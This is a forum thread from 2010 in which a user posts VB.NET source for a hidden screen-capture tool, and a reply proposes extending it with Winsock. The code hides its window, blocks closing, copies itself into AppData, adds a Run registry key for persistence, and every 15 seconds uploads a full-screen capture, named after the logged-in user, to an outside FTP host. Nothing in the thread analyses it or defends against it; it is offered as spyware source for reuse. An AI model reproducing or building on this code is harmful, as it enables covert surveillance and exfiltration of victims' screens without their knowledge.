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Thread: [\[VB.NET\]Screen Capture FTP](#)

**codepoet** - May 1, 2010, 4:14 pm

Code Imports System.Security.Principal

Public Class Form1

```
Dim Dateiname As String
Dim Dateilöschen As String
Dim Pfad As String
Dim benutzer As String
Dim zeit As String
```

Sub Autostart()

If

My.Computer.FileSystem.FileExists(My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\" & My.Application.Info.AssemblyName & ".exe") Then

Else

My.Computer.FileSystem.CopyFile(System.Reflection.Assembly.GetEntryAssembly.Location, My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\" & My.Application.Info.AssemblyName & ".exe")

End If

Dim oRegKey As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)

oRegKey.SetValue("ScreenCapture", My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\" & My.Application.Info.AssemblyName & ".exe")

End Sub

Sub Bild()

Dim Pic As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)

Dim g As Graphics = Graphics.FromImage(Pic)

g.CopyFromScreen(0, 0, 0, 0, Pic.Size)

PictureBox1.Image = Pic

PictureBox1.Image.Save(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & Dateiname & ".png")

PictureBox1.Image.Save(My.Computer.FileSystem.SpecialDirectories.Temp & "\" & Dateiname & ".png", System.Drawing.Imaging.ImageFormat.Png)

Pfad = My.Computer.FileSystem.SpecialDirectories.Temp & "\" & Dateiname & ".png"

End Sub

```
Sub PCNutzer()  
    Dim User As New WindowsPrincipal(WindowsIdentity.GetCurrent)  
    Dim BenutzerName As String  
    With User.Identity.Name  
        BenutzerName = .Substring(.IndexOf("\") + 1)  
    End With  
    benutzer = BenutzerName
```

```
End Sub
```

```
Sub Upload()  
    Try  
        Dim clsRequest As System.Net.FtpWebRequest =  
DirectCast(System.Net.WebRequest.Create("ftp://FTP-Server.com/" & benutzer & ".png"),  
System.Net.FtpWebRequest)  
  
        clsRequest.Credentials = New System.Net.NetworkCredential("username", "pw")  
        clsRequest.Method = System.Net.WebRequestMethods.Ftp.UploadFile  
        Dim bFile() As Byte = System.IO.File.ReadAllBytes(Pfad)  
        Dim clsStream As System.IO.Stream = clsRequest.GetRequestStream()  
        clsStream.Write(bFile, 0, bFile.Length)  
        clsStream.Close()  
        clsStream.Dispose()  
  
    Catch ex As Exception  
    End Try  
End Sub
```

```
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As  
System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing  
    e.Cancel = True
```

```
End Sub
```

```
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)  
Handles MyBase.Load  
    Me.WindowState = FormWindowState.Minimized  
    Me.Visible = False  
    Autostart()  
    PCNutzer()  
    Bild()  
    Upload()  
  
    zeit = 15  
  
    Dateiname = 0  
  
    Dateilöschen = -1  
  
    Timer1.Interval = 1000  
  
    Timer1.Start()  
End Sub
```

```

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Timer1.Tick
    Me.Visible = False
    zeit = zeit - 1

    If zeit = 0 Then
        Timer1.Stop()
        Autostart()
        Bild()
        Upload()

        Dateiname = Dateiname + 1
        Dateilöschen = Dateilöschen + 1

        zeit = 15

        If Dateilöschen = 0 Then
            If My.Computer.FileSystem.FileExists(My.Computer.FileSystem.SpecialDirectories.Temp
& "\" & Dateiname & ".png") Then

                My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp
& "\" & Dateiname & ".png")
            End If

        End If

        Timer1.Start()

    End If
End Sub
End Class

```

originally written by: Ixam

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**maype** - May 1, 2010, 4:15 pm

Thanks For This source ;) We can use this Screen capture function Example to Make with Winsock

**codepoet** - May 1, 2010, 4:16 pm

exact response i needed....